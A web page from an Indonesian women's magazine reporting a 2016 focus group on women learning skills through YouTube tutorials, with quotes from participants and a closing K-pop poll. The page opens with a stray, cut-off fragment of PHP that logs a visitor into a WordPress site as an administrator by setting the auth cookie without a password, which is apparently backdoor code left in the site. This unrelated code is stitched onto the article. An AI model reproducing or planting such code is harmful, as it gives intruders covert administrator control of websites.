user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Laporan FGD: Wanita dan Video

21 Apr 2016


Foto: Stocksnap.io

Menurut data terbaru Google Indonesia, sebanyak 40% pengguna YouTube di Indonesia adalah wanita. Bukan hanya jadi penonton, mereka juga berkontribusi sebagai penampil di kanal masing-masing. Video pendek buatan mereka menjadi wadah pembelajaran pendidikan formal (e-learning) dan sarana pertukaran ilmu dari komunitas (peer learning) secara gratis.

Tidak sedikit YouTubers yang wanita memiliki jumlah subscriber tinggi. Misalnya, Natasha Farani yang rajin merekam video tutorial hijab digemari 119.429 subscribers. Lalu Nadyacookingcom, tutorial masaknya merebut hati 26.537 subscribers, dan Wita Wanita disukai 46.760 subscribers karena berani menyuarakan topik-topik tabu wanita. Topik menarik dan kepribadian unik penampil adalah faktor penting untuk menarik penonton.

Dalam focus group discussion (FGD) yang diadakan oleh Accenture dan Femina, pada 1-2 Maret 2016, yang diikuti oleh 20 wanita, dari usia 20 hingga 35 tahun, semua peserta mengakui, peer learning melalui YouTube terasa lebih efektif meningkatkan keahlian sesuai minat. Format visual membuat penonton lebih mudah meniru sekaligus mempelajari informasi yang diberikan. Ini dialami Saskia Kenzita (22), sekretaris perusahaan tambang PT Duta Tridama Korpora. “Sudah setahun ini saya subscribe kanal kecantikan seorang vlogger di YouTube. Saya coba belajar make up dan french manicure dari situ. Sekarang sudah jago, enggak perlu ke salon lagi, dandan sendiri di rumah. Jadi lebih irit.
           
Advertisement
Selain untuk ketertarikan pribadi, kegiatan menonton video ini juga menjadi pilihan untuk menjadi lebih unggul dalam pekerjaan. Syadzwina Amalia (22), Digital Marketing Officer Bridestory.com, mengalami hal ini. “Dulu waktu awal kerja, saya agak stres karena belum terlalu paham seluk-beluk digital marketing. Karena tuntutan pekerjaan, akhirnya saya Googling dan belajar juga lewat video-video tutorial di YouTube. Learning by doing saja, lama-lama jadi ngerti,” ujar Syadzwina.

Begitu juga dengan Anty Rochandini (24), Channel Development Executive Fonterra Brands Indonesia. “Ada beberapa knowledge yang jadi lebih gampang dipelajari lewat YouTube karena sangat visual. Saya belajar Microsoft Excel dari video tutorial. Sekarang jadi tahu banyak shortcut Excel, kerja jadi lebih efektif.”

Jatu Mursito (32), Event & Community Manager Layaria Network, merasakan YouTube membantunya mempelajari referensi tren di generasi lebih muda. “Sekarang saya bekerja di perusahaan yang menjual gaya hidup dan tren. Lewat YouTube, saya cari tahu tren yang digandrungi anak remaja usia 13 tahun.”

Kebutuhan serupa dirasakan Ayu Thari (23), pendiri toko online produk kecantikan, August & September. “Dulu saya pernah jadi guru. Saya harus tahu cara untuk membuat anak-anak tertarik belajar. Saya cari referensi di YouTube, lagu   dan gerakan tari yang disukai anak-anak. Setelah saya bikin koreografinya, anak-anak ternyata suka dan jadi lebih semangat belajar,” papar Ayu. 
 


Topic

#WanitadanTeknologi

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?